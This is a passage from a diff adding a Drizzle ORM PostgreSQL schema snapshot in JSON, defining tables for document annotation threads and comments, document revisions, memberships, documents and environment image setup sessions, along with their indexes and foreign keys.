+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "documents_latest_body_search_idx": {
+          "name": "documents_latest_body_search_idx",
+          "columns": [
+            {
+              "expression": "latest_body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "documents_company_id_companies_id_fk": {
+          "name": "documents_company_id_companies_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "documents_created_by_agent_id_agents_id_fk": {
+          "name": "documents_created_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_updated_by_agent_id_agents_id_fk": {
+          "name": "documents_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "documents_locked_by_agent_id_agents_id_fk": {
+          "name": "documents_locked_by_agent_id_agents_id_fk",
+          "tableFrom": "documents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "locked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.environment_custom_image_setup_sessions": {
+      "name": "environment_custom_image_setup_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promoted_template_id": {
+          "name": "promoted_template_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "environment_lease_id": {
+          "name": "environment_lease_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_agent_id": {
+          "name": "started_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_template_ref": {
+          "name": "base_template_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_summary": {
+          "name": "connection_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_secret_ref": {
+          "name": "connection_secret_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "environment_custom_image_setup_sessions_environment_status_idx": {
+          "name": "environment_custom_image_setup_sessions_environment_status_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_environment_active_uq": {
+          "name": "environment_custom_image_setup_sessions_environment_active_uq",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"environment_custom_image_setup_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'capturing')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_template_idx": {
+          "name": "environment_custom_image_setup_sessions_template_idx",
+          "columns": [
+            {
+              "expression": "template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_promoted_template_idx": {
+          "name": "environment_custom_image_setup_sessions_promoted_template_idx",
+          "columns": [
+            {
+              "expression": "promoted_template_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_expires_idx": {
+          "name": "environment_custom_image_setup_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "environment_custom_image_setup_sessions_provider_lease_idx": {
+          "name": "environment_custom_image_setup_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "environment_custom_image_setup_sessions_environment_id_environments_id_fk": {
+          "name": "environment_custom_image_setup_sessions_environment_id_environments_id_fk",
+          "tableFrom": "environment_custom_image_setup_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
